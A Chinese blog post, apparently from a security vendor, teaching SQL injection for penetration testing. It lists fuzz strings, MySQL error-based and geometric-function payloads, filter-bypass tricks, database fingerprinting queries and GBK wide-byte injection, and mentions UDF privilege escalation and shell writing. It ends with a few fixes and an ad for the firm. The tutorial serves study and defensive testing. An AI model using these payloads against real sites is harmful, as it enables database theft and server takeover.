渗透测试对网站注入攻击方法剖析

国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!

3.1 SQL注入漏洞

3.1.1. 注入分类

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

3.1.1.1. 按技巧分类

根据使用的技巧,SQL注入类型可分为

盲注

布尔盲注:只能从应用返回中推断语句执行后的布尔值

时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断

报错注入:应用会显示全部或者部分的报错信息

堆叠注入:有的应用可以加入 ; 后一次执行多条语句

其他

3.1.1.2. 按获取数据的方式分类

另外也可以根据获取数据的方式分为3类

inband

利用Web应用来直接获取数据

如报错注入

都是通过站点的响应或者错误反馈来提取数据

inference

通过Web的一些反映来推断数据

如布尔盲注和堆叠注入

也就是我们通俗的盲注,

通过web应用的其他改变来推断数据

out of band(OOB)

通过其他传输方式来获得数据,比如DNS解析协议和电子邮件

3.1.2. 注入检测

3.1.2.1. 常见的注入点

GET/POST/PUT/DELETE参数

X-Forwarded-For

文件名

3.1.2.2. Fuzz注入点

‘ / “

1/1

1/0

and 1=1

” and “1”=”1

and 1=2

or 1=1

or 1=

‘ and ‘1’=’1

+ – ^ * % /

<> || | & &&

~

!

@

反引号执行

3.1.2.3. 测试用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 测试列数

例如 域名/index.asp?id=12+union+select+nulll,null– ,不断增加 null 至不返回

3.1.2.5. 报错注入

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

extractvalue(1, concat(0x5c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的报错注入

GeometryCollection((select * from (select * from(select user())a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(select user())a)b))

multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

3.1.2.6. 堆叠注入

;select 1

3.1.2.7. 注释符

#

–+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

3.1.2.8. 判断过滤规则

是否有trunc

是否过滤某个字符

是否过滤关键字

slash和编码

3.1.2.9. 获取信息

判断数据库类型

and exists (select * from msysobjects ) > 0 access数据库

and exists (select * from sysobjects ) > 0 SQLServer数据库

判断数据库表

and exsits (select * from admin)

版本、主机名、用户名、库名

表和字段

确定字段数(Order By Select Into)

表名、列名

3.1.2.10. 测试权限

文件操作

读敏感文件

写shell

带外通道

网络请求

3.1.3. 权限提升

3.1.3.1. UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

3.1.4. 数据库检测

3.1.4.1. MySQL

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5(‘test’))

字符串连接

SELECT ‘a’ ‘b’

SELECT CONCAT(‘some’,’string’)

version

SELECT @@version

SELECT version()

识别用函数

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串连接

‘a’||’oracle’ —

SELECT CONCAT(‘some’,’string’)

version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY ’00:00:10′;

SERVERNAME SELECT @@SERVERNAME

version SELECT @@version

字符串连接

SELECT ‘some’+’string’

常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

sleep pg_sleep(1)

3.1.5. 绕过技巧

编码绕过

大小写

url编码

html编码

十六进制编码

unicode编码

注释

// — — + — – # /**/ ;%00

内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

只过滤了一次时

union => ununionion

相同功能替换

函数替换

substring / mid / sub

ascii / hex / bin

benchmark / sleep

变量替换

user() / @@user

符号和关键字

and / &

or / |

HTTP参数

HTTP参数污染

id=1&id=2&id=3 根据容器不同会有不同的结果

HTTP分割注入

缓冲区溢出

一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理

二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

3.1.6. SQL注入小技巧

3.1.6.1. 宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names ‘gbk’ 来设定,这句话等同于

set

character_set_connection = ‘gbk’,

character_set_result = ‘gbk’,

character_set_client = ‘gbk’;

漏洞发生的原因是执行了 set character_set_client = ‘gbk’; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names ‘gbk’ 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset(‘gbk’) ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。第三种就是用pdo。如果期间想要渗透测试自己的网站安全性,可以联系专业的网站安全公司来处理解决,国内推荐Sinesafe,绿盟,启明星辰等等的网站安全公司,还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。

发布者:SEO优化专员,转转请注明出处:https://www.chuangxiangniao.com/p/906029.html

(0)
上一篇 2025年1月4日 05:53:16
下一篇 2025年1月4日 05:53:43

AD推荐 黄金广告位招租... 更多推荐

相关推荐

  • 网站安全之逻辑漏洞检测 修复方案

    网站安全是整个网站运营中最重要的一部分,网站没有了安全,那用户的隐私如何保障,在网站中进行的任何交易,支付,用户的注册信息都就没有了安全保障,所以网站安全做好了,才能更好的去运营一个网站,我们SINE安全在对客户进行网站安全部署与检测的同时…

    安全 2025年1月4日
    100
  • ecshop漏洞修复以及如何加固ecshop网站安全

    由于8月份的ECSHOP通杀漏洞被国内安全厂商爆出后,众多使用ecshop程序源码的用户大面积的受到了网站被篡改,最明显的就是外贸站点被跳转到一些仿冒的网站上去,导致在谷歌的用户订单量迅速下降,从百度,谷歌,360,以及搜狗等等进入到网站的…

    2025年1月4日
    100
  • 如何修复网站漏洞之metinfo远程SQL注入漏洞

    2018年11月23日SINE网站安全检测平台,检测到MetInfo最新版本爆出高危漏洞,危害性较大,影响目前MetInfo 5.3版本到最新的 MetInfo 6.1.3版本,该网站漏洞产生的主要原因是MetInfo的上传代码里的参数值没…

    2025年1月4日
    100
  • discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞产生的原因首先:php环境的版本大约PH…

    2025年1月4日
    100
  • 网站逻辑漏洞检测与修复实战过程

    在网站安全的日常安全检测当中,我们SINE安全公司发现网站的逻辑漏洞占比也是很高的,前段时间某酒店网站被爆出存在高危的逻辑漏洞,该漏洞导致酒店的几亿客户的信息遭泄露,包括手机号,姓名,地址都被泄露,后续带来的损失很大,最近几年用户信息泄露的…

    安全 2025年1月4日
    100
  • 第三方检测SW-LIMS微服务架构部署

    随着人们的消费意识和权利意识逐渐增强,第三方检测行业得以迅速发展,其市场竞争也越发激烈。第三方检测机构实验室检测系统化、标准化、精细化、专业化已成为在行业内立足与发展的有效竞争力。而科学充分运用实验室信息管理系统(LIMS)提升内部工作效率…

    2025年1月4日
    100
  • 网站安全防护渗透测试常见的攻击方法

    国内对渗透测试以及安全评估的研究起步较晚,并且大多集中在在渗透测试技术上的研究,安全评估方面也有部分企业和研宄团体具有系统的评估方式。然而国内对基于渗透测试的自动化集成系统研宄还非常少,从目前的网络安全态势来看,传统的渗透测试方式己经无法满…

    安全 2025年1月4日
    100
  • 如何修复网站漏洞 全局变量覆盖漏洞的修复方式

    临近9月底,seacms官方升级海洋cms系统到9.95版本,我们SINE安全在对其源码进行网站漏洞检测的时候发现问题,可导致全局变量被覆盖,后台可以存在越权漏洞并绕过后台安全检测直接登录管理员账号。关于该漏洞的具体详情,我们来详细的分析一…

    2025年1月4日
    100
  • 网站漏洞检测 squid反向代理存在远程代码执行漏洞

    在对网站进行渗透测试的时候,发现很多网站都在使用squid反向代理系统,该系统存在可以执行远程代码的漏洞,很多客户找我们SINE安全做渗透测试服务的同时,我们会先对客户的网站进行信息搜集工作,包括域名,二级域名收集,网站使用的反向代理系统,…

    2025年1月4日
    100
  • 网站漏洞检测 CSRF代码攻击与加固方案

    XSS跨站以及CSRF攻击,在目前的渗透测试,以及网站漏洞检测中 ,经常的被爆出有高危漏洞,我们SINE安全公司在对客户网站进行渗透测试时,也常有的发现客户网站以及APP存在以上的漏洞,其实CSRF以及XSS跨站很容易被发现以及利用,在收集…

    建站经验 2025年1月4日
    100

发表回复

登录后才能评论

联系我们

156-6553-5169

在线咨询: QQ交谈

邮件:253000106@qq.com

工作时间:周一至周五,9:30-18:30,节假日休息

联系微信